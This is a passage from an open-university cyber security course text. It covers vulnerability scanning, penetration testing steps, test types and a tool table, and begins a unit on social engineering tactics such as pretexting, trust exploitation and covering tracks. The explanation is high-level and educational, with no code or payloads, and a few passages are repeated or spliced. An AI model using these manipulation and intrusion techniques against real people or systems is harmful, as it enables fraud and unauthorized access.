The tools then attempt to find indicators (patterns, attributes) of, or to exploit 
vulnerabilities known to exist, in the detected services/software versions, and to report 
the findings that result.  Caution must be taken when running exploit code against “live” 
(operational) targets, because damaging results may occur.   For  example,  targeting  a 
live Web application with  a “drop  tables”  Standard  Query  Language  (SQL)  injection  
probe could result in actual  data  loss.  
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For this reason, some vulnerability assessment tools are (or are claimed to be) entirely 
passive. Passive scans, in which no data is injected by the tool into the target, do nothing 
but read and collect data.  In some cases, such tools use vulnerability signatures, i.e., 
patterns or attributes associated with the likely presence of a known vulnerability, such as 
lack of a certain patch for mitigating that vulnerability in a given target. All passive tools 
are limited  in  usefulness  (compared  with  tools that are  not completely  passive) 
because they can only shows the presence of vulnerabilities based  on circumstantial  
evidence, rather than  testing  directly  forutility  when performed  on its own, as all the 
injected exploits would be “blind”,  i.e., they would be launched at the target without 
knowing its specific details  or susceptibility 6 Vulnerability Assessment IA Tools Report  
– Sixth Edition to the exploits.  

For this reason, the majority of vulnerability assessment tools combine  both  passive  
and active  scanning, the  passive  scanning  is used to  discover the vulnerabilities that 
the target is most likely to contain, and  the  active scanning  is used to  verify that those  
vulnerabilities are, in fact,  both  present and  exposed as well as  exploitable. 
Determining that  vulnerabilities are  exploitable  increases the accuracy  of the 
assessment tool by eliminating  the false positives, i.e. , the instances  in which the  
scanner  detects  a pattern or attribute indicative  of a likely vulnerability that which,  
upon  analysis,  proves  to be either 

a) Not present 
b) Not exposed, and 
c) Not exploitable. 

It is the combination of passive and active scanning, together with increased automation 
that has rendered auto- mated penetration testing suites more widely useful in 
vulnerability assessment.  Most vulnerability assessment tools are capable of scanning a 
number of network nodes, including networking and networked devices (switches, 
routers, firewalls, printers, e t c.)   , as well as server, desktop, and portable computers. 
The vulnerabilities that are identified by these tools may be the result often programming 
flaws (e.g.  Vulnerabilities to buffer overflows, SQL-Injections, cross site scripting 
[XSS], etc.), or implementation flaws and misconfigurations. A smaller subset of tools 
also provide enough information to enable the user to discover design and even 
architecture flaws. 

The  reason  for “specialization” of vulnerability assessment tools, e.g., network scanners,  
host scanners, database scanners,  web application scanners,  is that to be effective, the 
tool needs to have a detailed  knowledge of the targets it  will scan.   A network  scanner  
needs  to know  how to perform  and  interpret a network  footprint analysis  that involves 
first discovering all active nodes on the  network, then  scanning  them  to enumerate all 
of the available net- work services (e.g.,  File Transfer  Protocol  [FTP],  Hyper Text  
Transfer  Protocol  [HTTP])  on each host.   As part of this service enumeration process, 
the scanner  attempts to identify vulnerabilities through grabbing  and analysing banners,  
and checking open port status, n protocol compliance,  and  service behaviour, and  
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through direct  injection of exploits  targeting known vulnerabilities (listed  in the tool’s 
built-in  vulnerability database) into any open port it has found. 

3.6 Penetration Overview 

The overall objective of penetration testing is to discover areas of the enterprise network 
where an intruder can exploit security vulnerabilities. Different types of penetration 
testing are necessary for different types of network devices. For example, a penetration 
test of a firewall is different from a penetration test of a typical user’s machine. Even a 
penetration test of devices in the DMZ (demilitarized zone) is different from performing 
a scan to see if network penetration is possible. The type of penetration test should be 
weighed against the value of the data on the machine being tested and the need for 
connectivity to a given service. 

3.6.0 What is Penetration Testing? 

Penetration testing is a type of security testing that is used to test the insecurity of an 
application. It is conducted to find the security risk which might be present in the system. 
If a system is not secured, then any attacker can disrupt or take authorized access to that 
system. Security risk is normally an accidental error that occurs while developing and 
implementing the software. For example, configuration errors, design errors, and 
software bugs, etc. 

The penetration testing process has three primary components 

a) Defining the scope. 
b) Performing the penetration test. 
c) Reporting and delivering results. 
 

3.6.1 Step 1: Defining the Scope 

Before a penetration test can be launched, the enterprise must define the scope of the 
testing. This step includes determining the extent of testing, what will be tested, from 
where it will be tested, and by whom. 

Full-Scale vs. Targeted Testing 

An enterprise must decide whether to conduct a full-scale test of the entire network or to 
target specific devices, such as the firewall. It is usually best to do both in order to 
determine the level of exposure to the public infrastructure, as well as the security of 
individual targets. For example, firewall policies are often written to allow certain 
services to pass through them. The security for those services is placed on the device 
performing those services and not at the firewall. Therefore, it is necessary to test the 
security of those devices as well as the firewall. Some of the specific targets that should 
be considered for penetration testing are firewalls, routers, Web servers, mail servers, 
FTP servers, and DNS servers. 
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Devices, Systems, and Passwords 

In defining the scope of the project, the enterprise must also decide on the range of 
testing. For example, is it looking only for vulnerabilities that could lead to a compromise 
of a device, or is it also looking for susceptibility to denial of service attacks? In addition, 
the enterprise must decide whether it will allow its password file to be hacked by the 
security team to test its users’ choice of passwords, and whether it will subject its devices 
to password grinding across the network. 

Remote vs. Local Testing 

Next, the enterprise must decide whether the testing will be performed from a remote 
location across the Internet or onsite via the local network. This decision is dictated to a 
large degree by the targets that are selected for testing and by the current security 
implementations. For example, a remote test of a machine behind a firewall that hides 
network address translation for Internet access will fail if the firewall appropriately 
prevents access to the machine. However, testing the same firewall to see if it will protect 
users computers from a remote scan will be successful. 

In-House vs. Outsourced Testing 

After the scope of the testing has been determined, the IT team must decide whether to 
use in-house resources to perform the testing or to hire outside consultants. In-house 
testing should be chosen only if an enterprise lacks the funds to hire outside consultants, 
or if the data is so sensitive that no one outside the company should view it. In all other 
cases, hiring outside consultants is recommended. Outside security consultants are highly 
trained and have worked with hundreds of different networks, bringing specific expertise 
and broad experience to the testing process. In addition, they help ensure an unbiased and 
complete testing procedure. Security consultants continuously research new 
vulnerabilities, invest in and understand the latest security testing hardware and software, 
recommend solutions for resolving problems, and provide additional personnel for the 
testing process. Enterprises can leverage the experience and resources of outside security 
consultants to help ensure thorough, properly executed penetration tests. 

3.6.2 Step 2: Performing the Penetration Test 

Proper methodology is essential to the success of the penetration test. It involves 
gathering information and then testing the target environment. The testing process begins 
with gathering as much information as possible about the network architecture, topology, 
hardware, and software in order to find all security vulnerabilities. Researching public 
information such as Who records, SEC filings, business news articles, patents, and 
trademarks not only provides security engineers with background information, but also 
gives insight into what information hackers can use to find vulnerabilities. Tools such as 
ping, traceroute, and nslookup can be used to retrieve information from the target 
environment and help determine network topology, Internet provider, and architecture. 
Tools such as port scanners, NMAP, SNMPC, and NAT help determine hardware, 
operating systems, patch levels, and services running on each target device. 
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Once information about all the targets has been assembled, the security engineers use it to 
configure commercial scanning tools such as ISS Internet Scanner, NAI’s CyberCop 
Scanner, and freeware tools such as Nessus and Satan to search for vulnerabilities. The 
use of these commercial and freeware tools greatly speeds up the scanning process. After 
the vulnerability scanning has been completed, the output is examined for false positives 
and false negatives. Any vulnerability suspected of being false is re-examined or tested 
using other tools or custom scripts. 

To test for new vulnerabilities that have not been updated into the commercial or 
freeware scanners, the security engineers perform additional tests and run recently 
released exploits. This is necessary because new exploits are released every day, and it 
may be several weeks or months before these vulnerabilities are included in the 
vulnerability databases of the automated scanning tools. 

Once scanning has been performed, the security engineers can test for additional items 
defined in the scope of the penetration test, including password vulnerabilities and denial 
of service (DOS) attacks. To test for DOS attacks in a production environment, without 
risking device outage, an enterprise can create a duplicate image of the production device 
and then place the image on similar hardware for testing. 

3.6.3 Step 3: Reporting and Delivering Results  

After completing the penetration testing, security engineers analyze all information 
derived from the testing procedure.Then they list and prioritize vulnerabilities; categorize 
risks as high, medium, or low; and recommend repairs if vulnerabilities are found.They 
may also provide resources, such as Internet links, for finding additional information or 
obtaining patches to repair vulnerabilities. 

The final report may include the following parts: 

a) An executive summary summarizes the penetration test findings and discloses 
information concerning both strong and weak aspects of the existing security system. Key 
points of the test findings are also included. 
b) A more technically detailed report of the findings lists information about each device’s 
vulnerabilities; categorizes and prioritizes risks; and makes recommendations about 
repairs, including providing additional technical information on how to repair any 
vulnerability. 
c) Additional information, such as raw scanner output,Whois records, screenshots, and 
diagrams, as well as relevant RFCs and white papers, is included in an appendix. 

3.6.4 Why is Penetration Testing Required? 

Penetration testing normally evaluates a system’s ability to protect its networks, 
applications, endpoints and users from external or internal threats. It also attempts to 
protect the security controls and ensures only authorized access.   

Penetration testing is essential because 
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a) It identifies a simulation environment i.e., how an intruder may attack the system 
through white hat attack. 
b) It helps to find weak areas where an intruder can attack to gain access to the 
computer’s features and data. 
c) It supports to avoid black hat attack and protects the original data. 
d) It estimates the magnitude of the attack on potential business. 
e) It provides evidence to suggest, why it is important to increase investments in security 
aspect of technology. 

3.6.5 When to Perform Penetration Testing? 

Penetration testing is an essential feature that needs to be performed regularly for 
securing the functioning of a system. In addition to this, it should be performed 
whenever: 

a) Security system discovers new threats by attackers. 
b) You add a new network infrastructure. 
c) You update your system or install new software. 
d) You relocate your office. 
e) You set up a new end-user program/policy. 

3.6.6 How is Penetration Testing Beneficial? 

Penetration testing offers the following benefits. 

Enhancement of the Management System: It provides detailed information about the 
security threats. In addition to this, it also categorizes the degree of vulnerabilities and 
suggests you, which one is more vulnerable and which one is less. So, you can easily and 
accurately manage your security system by allocating the security resources accordingly. 

Avoid Fines: Penetration testing keeps your organization’s major activities updated and 
complies with the auditing system. So, penetration testing protects you from giving fines. 

Protection from Financial Damage: A simple breach of security system may cause 
millions of dollars of damage. Penetration testing can protect your organization from 
such damages. 

Customer Protection: Breach of even a single customer’s data may cause big financial 
damage as well as reputation damage. It protects the organizations who deal with the 
customers and keep their data intact. 

3.7 Penetration Testing Method 

3.7.0 Steps of Penetration Testing Method 

The following are the seven steps of penetration testing: (Figure-5) 

 

 



                                                                                      Post Graduate Diploma in Cyber Security          
  

Odisha State Open University 46 

 

 

3.7.1 Planning & Preparation 

Planning and preparation starts with defining the 
goals and objectives of the penetration testing. The 
client and the tester jointly define the goals so that 
both the parties have the same objectives and 
understanding. The common objectives of penetration 
testing are 

 

1. IT security confirmed by an external third party. 
2. To identify the vulnerability and improve the 
security of the technical systems. 
3. Have to increase the security of the 
organizational/personnel infrastructure. 
       
         (Figure-5) 

3.7.2 Reconnaissance 

Reconnaissance includes an analysis of the preliminary information. Many times, a tester 
doesn’t have much information other than the preliminary information, i.e., an IP address 
or IP address block. The tester starts by analyzing the available information and, if 
required, requests for more information such as system descriptions, network plans, etc. 
from the client. This step is the passive penetration test, a sort of. The sole objective is to 
obtain a complete and detailed information of the systems. 

3.7.3 Discovery 

In this step, a penetration tester will most likely use the automated tools to scan target 
assets for discovering vulnerabilities. These tools normally have their own databases 
giving the details of the latest vulnerabilities. However, tester discovers 

1. Network Discovery: Such as discovery of additional systems, servers, and other 
devices. 
2. Host Discovery: It determines open ports on these devices. 
3. Service Interrogation: It interrogates ports to discover actual services which are 
running on them. 

3.7.4 Analyzing Information and Risks 

In this step, tester analyzes and assesses the information gathered before the test steps for 
dynamically penetrating the system. Because of larger number of systems and size of 
infrastructure, it is extremely time consuming. While analyzing, the tester considers the 
following elements 

1. The defined goals of the penetration test. 
2. The potential risks to the system. 
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3. The estimated time required for evaluating potential security flaws for the subsequent 
active penetration testing. 

However, from the list of identified systems, the tester may choose to test only those 
which contain potential vulnerabilities. 

3.7.5 Active Intrusion Attempts 

This is the most important step that has to be performed with due care. This step entails 
the extent to which the potential vulnerabilities that was identified in the discovery step 
which possess the actual risks. This step must be performed when a verification of 
potential vulnerabilities is needed. For those systems having very high integrity 
requirements, the potential vulnerability and risk needs to be carefully considered before 
conducting critical clean up procedures. 

3.7.6 Final Analysis 

This step primarily considers all the steps conducted till that time and an evaluation of the 
vulnerabilities present in the form of potential risks. Further, the tester recommends to 
eliminate the vulnerabilities and risks. Above all, the tester must assure the transparency 
of the tests and the vulnerabilities that it disclosed. 

3.7.7 Report Preparation 

Report preparation must start with overall testing procedures, followed by an analysis of 
vulnerabilities and risks. The high risks and critical vulnerabilities must have priorities 
and then followed by the lower order.   

However, while documenting the final report, the following points needs to be considered 

a) Overall summary of penetration testing. 
b) Details of each step and the information gathered during the pen testing. 
c) Details of all the vulnerabilities and risks discovered. 
d) Details of cleaning and fixing the systems. 
e) Suggestions for future security. 

3.8 Penetration Testing VS. Vulnerability Assessment 

The following table illustrates the fundamental differences between penetration testing 
and vulnerability assessments: 

Penetration Testing Vulnerability Assessments 

Determines the scope of an 
attack. 

Makes a directory of assets and resources in a 
given system. 

Tests sensitive data 
collection. 

Discovers the potential threats to each resource. 
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Gathers targeted 
information and/or inspect 
the system. 

Allocates quantifiable value and significance to the 
available resources. 

Cleans up the system and 
gives final report. 

Attempts to mitigate or eliminate the potential 
vulnerabilities of valuable resources. 

It is non-intrusive, 
documentation and 
environmental review and 
analysis. 

Comprehensive analysis and through review of the 
target system and its environment. 

It is ideal for physical 
environments and network 
architecture. 

It is ideal for lab environments. 

It is meant for critical real-
time systems. 

It is meant for non-critical systems. 

 

3.9 Types of Penetration Testing  

The type of penetration testing normally depends on the scope and the organizational 
wants and requirements. This section discusses about different types of Penetration 
testing. It is also known as Pen Testing. 

3.9.0 Types of Pen Testing 

Following are the important types of pen testing: 
(Figure-6) 

a) Black Box Penetration Testing. 
b) White Box Penetration Testing. 
c) Grey Box Penetration Testing. 

 

 

                                               (Figure-6) 

For better understanding, let us discuss each of them in detail: 

3.9.1 Black Box Penetration Testing 

In black box penetration testing, tester has no idea about the systems that he is going to 
test. He is interested to gather information about the target network or system. For 
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example, in this testing, a tester only knows what should be the expected outcome and he 
does not know how the outcomes arrives. He does not examine any programming codes. 

Advantages of Black Box Penetration Testing  

a) Tester need not necessarily be an expert, as it does not demand specific language 
knowledge. 
b) Tester need not necessarily be an expert, as it does not demand specific language 
knowledge. 
c) Test is generally conducted with the perspective of a user, not the designer. 

Disadvantages of Black Box Penetration Testing  

a) Particularly, these kinds of test cases are difficult to design. 

b) Possibly, it is not worth, incase designer has already conducted a test case. 

c) It does not conduct everything. 

3.9.2 White Box Penetration Testing 

This is a comprehensive testing, as tester has been provided with whole range of 
information about the systems and/or network such as Schema, Source code, OS details, 
IP address, etc. It is normally considered as a simulation of an attack by an internal 
source. It is also known as structural, glass box, clear box, and open box testing. 

White box penetration testing examines the code coverage and does data flow testing, 
path testing, loop testing, etc. 

Advantages of White Box Penetration Testing  

1. It ensures that all independent paths of a module have been exercised. 
2. It ensures that all logical decisions have been verified along with their true and false 
value. 
3. It discovers the typographical errors and does syntax checking. 
4. It finds the design errors that may have occurred because of the difference between 
logical flow of the program and the actual execution. 

3.9.3 Grey Box Penetration Testing 

In this type of testing, a tester usually provides partial or limited information about the 
internal details of the program of a system. It can be considered as an attack by an 
external hacker who had gained illegitimate access to an organization's network 
infrastructure documents. 

Advantages of Grey Box Penetration Testing  

1. As the tester does not require the access of source code, it is non-intrusive and 
unbiased. 
2. As there is clear difference between a developer and a tester, so there is least risk of 
personal conflict. 
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3. You don’t need to provide the internal information about the program functions and 
other operations. 
 

3.9.4 Areas of Penetration Testing 

Penetration testing is normally done in the following three areas 

Network Penetration Testing: In this testing, the physical structure of a system needs to 
be tested to identify the vulnerability and risk which ensures the security in a network. In 
the networking environment, a tester identities security flaws in design, implementation, 
or operation of the respective company/organization’s network. The devices, which are 
tested by a tester can be computers, modems, or even remote access devices, etc. 

Application Penetration Testing: In this testing, the logical structure of the system 
needs to be tested. It is an attack simulation designed to expose the efficiency of an 
application’s security controls by identifying vulnerability and risk. The firewall and 
other monitoring systems are used to protect the security system, but sometimes, it needs 
focused testing especially when traffic is allowed to pass through the firewall. 

The response or workflow of the system: This is the third area that needs to be tested. 
Social engineering gathers information on human interaction to obtain information about 
an organization and its computers. It is beneficial to test the ability of the respective 
organization to prevent unauthorized access to its information systems. Likewise, this test 
is exclusively designed for the workflow of the organization/company. 

3.10 Penetration Testing Tools 

Penetration testing, normally consists of information gathering, vulnerability and risk 
analysis, vulnerability exploits, and final report preparation. It is also essential to learn 
the features of several of tools which are available with penetration testing. This section 
provides information and insights about these features. 

The following table collects some of the most significant penetration tools and illustrates 
their features: 

Tool Name Purpose Portability Expected 
Cost 

Hping 
Port Scanning 
Remote OC 
fingerprinting 

Linux, NetBSD, 
FreeBSD, OpenBSD, 

Free 

Nmap 
Network Scanning 
Port Scanning 
OS Detection 

Linux, Windows, 
FreeBSD, OS X, HP-
UX, NetBSD, Sun, 
OpenBSD, Solaris, 
IRIX, Mac, etc. 

Free 

SuperScan 

Runs queries 
including ping, 
whois, hostname 
lookups, etc. 

Windows 
2000/XP/Vista/7/8 

Free 
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Detects open 
UDP/TCP ports 
and determines 
which services are 
running on those 
ports. 

p0f 
Os fingerprinting 
Firewall detection 

Linux, FreeBSD, 
NetBSD, OpenBSD, 
Mac OS X, Solaris, 
Windows, and AIX 

Free 

Xprobe 

Remote active OS 
fingerprinting 
Port Scanning 
TCP fingerprinting 

Linux Free 

Httprint 

Web server 
fingerprinting  SSL 
detection 
Detect web enabled 
devices (e.g., 
wireless access 
points, switches, 
modems, routers) 

Linux, Mac OS X, 
FreeBSD, Win32 
(command line & 
GUI) 

Free 

Nessus 

Detect 
vulnerabilities that 
allow remote 
cracker to 
control/access 
sensitive data 

Mac OS X, Linux, 
FreeBSD, Apple, 
Oracle Solaris, 
Windows 

Free to 
limited 
edition 

GFI 
LANguard 

Detect network 
vulnerabilities 

Windows Server 
2003/2008, Windows 
7 Ultimate/ Vista, 
Windows 2000 
Professional, 
Business/XP, Sever 
2000/2003/2008 

Only Trial 
Version Free 

Iss Scanner 
Detect network 
vulnerabilities 

Windows 2000 
Professional with 
SP4, Windows Server 
2003 Standard with 
SO1, Windows XP 
Professional with 
SP1a 

Only Trial 
Version Free 

Shadow 
Security 
Scanner 

Detect network 
vulnerabilities, 
audit proxy and 
LDAP servers 

Windows but scan 
servers built on any 
platform 

Only Trial 
Version Free 

Metasploit 
Framework 

Develop and 
execute exploit 
code against a 

All versions of Unix 
and Windows 

Free 
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remote target 
Test vulnerability 
of computer 
systems 

Brutus 
Telnet, ftp, and 
http password 
cracker 

Windows 9x/NT/2000 Free 

 

3.11 Limitations of Penetration Testing 

There are many security problems for which penetration tests will not be able to identify 
server-side vulnerabilities. Web application and database vulnerability scanners look for 
vulnerabilities that are traditionally ignored by network- or host-level vulnerability 
scanners.     

Even custom-developed web application and/or database application  often use common 
middleware  (e.g. a specific suppliers web server such as Microsoft internet information 
web server (IIS) or Apache server), backend (Oracle, PostgreSQL, and technologies (e.g. 
JavaScript  , SQL) those are known or considered likely to harbour certain  types of 
vulnerabilities that cannot  be identified  via signature- based  methods  used by network-  
and  host-based  vulnerability  analysis  tools.   

1. Penetration tests   are   generally carried   out as “black box” exercises, where the 
penetration tester does not have complete information about the system being tested. 

2. A test may not identify a vulnerability that is obvious to anyone with access to internal 
information about the machine. 

3. A penetration test can only identify those problems that it is designed to look for. If a 
service is not tested then there will be no information about its security or insecurity. 

4. A penetration test is unlikely to provide information about new vulnerabilities, 
especially those discovered after the test is carried out. 

5. Even if the penetration team did not manage to break into the organization this does 
not mean that they are secure. 

6. Penetration testing is not the best way to find all vulnerabilities. Vulnerability 
assessments that include careful diagnostic reviews of all servers and network devices 
will definitely identify more issues faster than a “black box” penetration test. 

7. Penetration tests are conducted   in a limited time period.  This means that it is a 
“snapshot” of a system or network’s security. As such, testing is limited to known 
vulnerabilities and the current configuration of the network.   Also it does not mean 
that if the testing team did not discover the any vulnerability in the organization’s 
system, it does not mean that hackers or intruders will not. 
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3.12 Summary 

 It is important to make a distinction between penetration testing and network security 
assessments.  A network security or vulnerability assessment may be useful to a 
degree, but do not always reflect the extent to which hackers will go to exploit a 
vulnerability.   

 Penetration tests attempt to emulate a “real world” attack to a certain   degree.    The 
penetration testers will generally compromise a system with vulnerabilities that they 
successfully exploited. If the  penetration  tester  finds  5 holes  in  a  system to get in 
this  does not  mean  that hackers or external intruder will not  be able to find 6 holes.  

 Hackers and intruders need to find only one hole to exploit whereas penetration testers 
need to possibly find all if not as many as possible holes that exist.  This is a daunting 
task as penetration tests are normally done in a certain time frame.    

 Finally, a penetration test alone provides no improvement in the security of a 
computer or network.   Action  to  taken  to  ad- dress  these vulnerabilities that  is 
found  as  a result  of conducting the penetration test. 
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Unit- 4 
Social Engineering 
 
Learning Objectives : 

After going through this unit, you will be able to: 

 Know the concepts of social engineering. 

 Understand social engineering attack cycle. 

 Defend against social engineering attacks. 

 Understand reverse social engineering. 

Structure  

4.1 Overview of Social Engineering 

4.2 The Social Engineering Life Cycle 

4.3 Foot printing 

      4.3.1 Establishing Trust 

      4.3.2 Psychological Manipulation 

      4.3.3 The Exit 

4.4 Social Engineering Attack Cycle 

     4.4.1 Research 

     4.4.2 Developing Rapport and Trust 

     4.4.3 Exploiting Trust Factor 

     4.4.4 Exploiting Trust Factor 

    4.4.5 Recruit & Cloak 

    4.4.6 Evolve/Regress 

4.5 The Weapons of a Social Engineer 

    4.5.1 Shoulder Surfing 

   4.5.2 Dumpster Diving 

   4.5.3 Role playing 

   4.5.4 Trojan horses 

   4.5.5 Phishing 

   4.5.6 Surfing Organization Websites & Online forums 

   4.5.7 Reverse Social Engineering 

4.6 Different Types of Social Engineering 

   4.6.1 Physical Social Engineering 

   4.6.2 Remote Social Engineering 
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    4.6.3 Computer-based Social Engineering 

             4.6.3.1 Social Engineering by Email 

             4.6.3.2 Phishing 

             4.6.3.3 Nigerian 419 or advance-fee fraud scam 

             4.6.3.4 Pop-up windows / browser  

             4.6.4.1 Mumble Attack interceptions 

     4.6.4 Social Engineering by Phone 

            4.6.4.2 IVR or phone phishing 

4.7 Detecting / Stopping Social Engineering Attacks 

4.8 Defending Against Social Engineering 

4.9 Summary 

 

4.1 Overview and Definition(s) of Social Engineering 

A common misconception people have 
about cyber attackers is that they only use 
advanced hacking tools and technology to 
break into people’s computers, accounts 
and mobile devices.  This is simply not 
true.  Cyber attackers have learned that one 
of the easiest ways to steal your 
information or hack your computer is by 
simply talking to and misleading you.  In 
this newsletter, we will learn how these 
types of human attacks (called social 
engineering attacks) work and what you 
can do to protect yourself. 

“It's not always what you know, it's who you know.” 

Social engineering is a type of psychological attack where an attacker misleads you into 
doing something they want you to do.  Social engineering has existed for thousands of 
years; the idea of scamming or conning someone is not new.  However, cyber attackers 
have learned that using this technique on the Internet is extremely effective and can be 
used to target millions of people.  The simplest way to understand how social engineering 
works is to take a look at a common, real-world example. 

You receive a phone call from someone claiming to be from a computer support 
company, your ISP or perhaps Microsoft tech support.  The caller explains they have 
noticed that your computer is behaving strangely, such as scanning the Internet or 
sending spam, and they believe it is infected.  They have been tasked with investigating 
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the issue and helping you secure your computer. They then use a variety of technical 
terms and take you through confusing steps to convince you that your computer is 
infected. 

For example, they may ask you to check to see if you have certain files on your computer 
and walk you through on how to find them.  When you locate these files, the caller will 
assure you that these files are a sign that your computer is infected, when in reality, these 
files are nothing more than common system files found on every computer.  Once they 
have tricked you into believing your computer is infected, they will pressure you into 
going to a website and buying their security software or ask you to give them remote 
access to your computer so they can fix it.  However, the software they are selling is 
actually a malicious program.  If you purchase and install the software, not only have 
they fooled you into infecting your computer, but you also just paid them to do it.  If you 
give them remote access to your computer to fix it, in reality, they are going to take over 
and infect it. Keep in mind that social engineering attacks like this are not limited to 
phone calls; they can happen with almost any technology, including phishing attacks via 
email, text messaging, Facebook messaging, twitter posts or online chats.  The key is to 
know what to look out for. 

The term "Social Engineering" can be defined in various ways, relating to both physical 
and cyber aspects of that activity. Wikipedia defines social engineering as: 

“...the art of manipulating people into performing actions or divulging confidential 
information”. 

Other authors have provided the following definitions 

 “An outside hacker’s use of psychological tricks on legitimate users of a computer 
system, in order to obtain information he needs to gain access to the system”. 

 “The practice of deceiving someone, either in person, over the phone, or using a 
computer, with the express intent of breaching some level of security either personal or 
professional”. 

 “Social Engineering is a non-technical kind of intrusion relying heavily on human 
interaction which often involves tricking other people into breaking normal security 
procedures” the attacker uses social skills and human interaction to obtain information 
about an organization or their computer systems. 

In reality Social Engineering can be any of these definitions depending on the 
circumstances that surround the attack. Social Engineering is actually a hacker’s 
manipulation of the natural human tendency to trust so as to get sensitive information 
needed to gain access to a system. Social Engineering does not require high level of 
technical expertise but requires the individual to have decent social skills.   

Many people, for several decades have used social engineering as a method to research 
and collect data. These early social engineers would use the gathered information as a 
form of blackmail against the other organizations. Social engineering has been used to 
gain unauthorized access into several huge organizations. A hacker who spends several 
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hours trying to break passwords could save a great deal of time by calling up an 
employee of the organization, posing as a helpdesk or IT employee, and can just asking 
for it. 

4.2 The Social Engineering Life Cycle 

Every Social Engineering attack is unique, but with a little understanding of the situations 
encountered, we can draft a rough cycle of all the activities that a Social Engineering 
project goes through leading to a successful outcome. 

The below fig-1 shows a general representation of the Social Engineering Life Cycle in 
four main stages: 

4.3 Footprinting 

It is the technique of accumulating information regarding 
the target(s) and the surrounding environment. Foot 
printing can reveal the individuals related to the target with 
whom the attacker has to establish a relationship, so as to 
improve the chances of a successful attack. 

The information gathering during the Foot printing phase 
includes but is not limited to: 

1. List of employee names and phone numbers 
2. Organization Chart  
3. Department Information  
4. Location information 

Foot printing generally refers to one of the pre-attack phases; tasks performed prior to 
doing the actual Social Engineering attack.  

Some of the tools like creepy, SET and Maltego make Social Engineering engagements 
easier. 

4.3.1 Establishing Trust 

Once the possible targets have been listed out, the attacker then moves on to develop a 
relationship with the target who is usually an employee or someone working in the 
business so as to develop a good rapport with them. The trust that the social engineer is 
gaining will later be used to unveil confidential pieces of information that could cause 
severe harm to the business. 

4.3.2 Psychological Manipulation 

In this step, the social engineer manipulates the trust that he has gained in the previous 
phase so as to extract as much confidential information or get sensitive operations related 
to the target system performed by the employee himself so as to penetrate into the system 
with much ease. Once all the required sensitive information has been collected, the social 
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engineer may move on to the next target or move towards exploiting the actual system 
under consideration. 

4.3.3 The Exit 

Now, after all the actual information has been extracted, the Social Engineer has to make 
a clear exit in such a way so as not to divert any kind of unnecessary suspicion on him. 
He makes sure to not leave any kind of proof of his visit that could lead a trace-back to 
his real identity nor link him to the unauthorized entry into the target system in the future. 

4.4 Social Engineering Attack Cycle 

The basic goals of social engineering are the same as hacking in general: to gain 
unauthorized access to systems or information in order to commit fraud, network 
intrusion, industrial espionage, identity theft, or simply to disrupt the system or network. 
A broad view of social engineering attack life cycle has such phases: research, 
developing rapport and trust, exploiting trust and utilizing information, cloak activities, 
evolve/regress as shown in Figure-2. 

4.4.1 Research 

It is an information gathering process 
where information about the target is 
retrieved. The attacker gathers as much 
information as possible about the target 
before starting the attack. Some methods 
are obvious and require no great cunning 
or planning, while others require certain 
skill or knowledge.   

If industrial espionage is the aim, the 
attacker learns everything about the 
victim/ organizations with the help of all available resources, social networking sites etc. 
Typical information that may be gathered could be an internal phone directory, birth 
dates, organizational charts, personnel records, social activities, relationships, etc. 

4.4.2 Developing Rapport and Trust 

The social engineer capitalizes on the psychological aspect of trust. The target is more 
likely to divulge requested information to an attacker if he trusts the attacker. Rapport and 
trust development can be done by using insider information, misrepresenting an identity, 
citing those known to the victim, showing a need for assistance, or occupying an 
authoritative role. Once trust is established, the hacker will be able to start acquiring 
sensitive information and access necessary to break into a system. The skilled hacker will 
gain information very slowly asking only for small favor or gaining information through 
seemingly innocent conversations. The hacker will work hard to maintain an apparently 
innocent relationship, while learning company lingo, names of key personnel, names of 
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important servers and applications, and a host of other valuable information. If an 
attacker feels hesitation in the voice on the other end of the phone, he or she will stick to 
simple questions and hope to gain more information from the next individual he or she 
chooses to call. The larger the organization, the easier it is to establish trust. In a smaller 
environment the target is much more likely to know whether or not the attacker is who 
they say they are. Trust is important to establish both as a technique on its own as well as 
in combination with other techniques. 

4.4.3 Exploiting Trust Factor 

When a target appears to trust an attacker, the attacker exploits the trust to elicit 
information from the target. This can either take the form of a request for information, a 
request for a specified action from the victim or, alternatively, to manipulate the victim 
into asking the attacker for help. This phase is where the previously established 
relationship is abused to get the initially desired information or action. 

4.4.4 Exploiting Trust Factor 

When a target appears to trust an attacker, the attacker exploits the trust to elicit 
information from the target. This can either take the form of a request for information, a 
request for a specified action from the victim or, alternatively, to manipulate the victim 
into asking the attacker for help. This phase is where the previously established 
relationship is abused to get the initially desired information or action. 

4.4.5 Recruit & Cloak 

Cloak is the actions performed after the execution, actions performed in order to hide the 
illegal activities. It can be to continue with the “friendship” to normalize the actions, 
moves to make the victim seem untrustworthy, or more advanced techniques to hide the 
crime. In some cases the victim can be recruited to either work for the attacker or as an 
ambassador/reference for the attacker. 

4.4.6 Evolve/Regress 

This is where the attacker learns from the process and creates an internal justification for 
what has happened. There are basically two choices for the attacker here. Either the 
attack evolves, moving into another phase of the attack if the process has been successful 
up to this step. The other choice if the results to this point have been unsuccessful is to 
regresses, which can either be to stop the attack or to move to a more basic level of attack 
in order to be successful again. The gathered information can then be used to target and 
explore deeper into the victim until finally attackers convince their targets to divulge the 
information they need to achieve the goal. 

 

 



                                                                                      Post Graduate Diploma in Cyber Security          
  

Odisha State Open University 60 

 

 

4.5 The Weapons of a Social Engineer 

The old-fashioned technical way 
of breaking into the computer 
systems by brute-forcing the user 
logins or ports have now been 
replaced by sophisticated methods 
that not only are easier, but yield 
better and faster results based on 
human psychology. These attacks 
can help the attacker get access to 
any system irrespective of the 
platform, software or hardware 
involved. 

How exactly goes a person to carry out Social Engineering attack? The fig-3 below 
shows some of the most popular techniques used to perform a Social Engineering attack: 

4.5.1 Shoulder Surfing 

Shoulder surfing is a security attack where-in, the attacker uses observational techniques, 
such as looking over someone's shoulder, to get information while they are performing 
some action that involves explicit usage of sensitive, visible information. This can be 
performed at a close range as well as at a long range using binoculars or other vision-
enhancing devices. 

4.5.2 Dumpster Diving 

Many a times, huge organizations dump items like company phone books, system 
manuals, organizational charts, company policy manuals, calendars of meetings, events 
and vacations, printouts of sensitive data or login names and passwords, printouts of 
source code, disks and tapes, company letterhead and memo forms, and outdated 
hardware carelessly into the company dumpsters. The attacker can use these items to get 
a huge amount of information about the company organization and network structure. 
This method of searching through the dumpster, looking for potentially useful 
information discarded by a company’s employees is known as Dumpster Diving. 

4.5.3 Role playing 

It is one of the key weapons for a Social Engineer. It involves persuading or gathering 
information through the use of an online chat session, emails, phone or any other method 
that your company uses to interact online with the public, pretending to be a helpdesk, 
employee, technician, helpless or an important user to divulge in confidential 
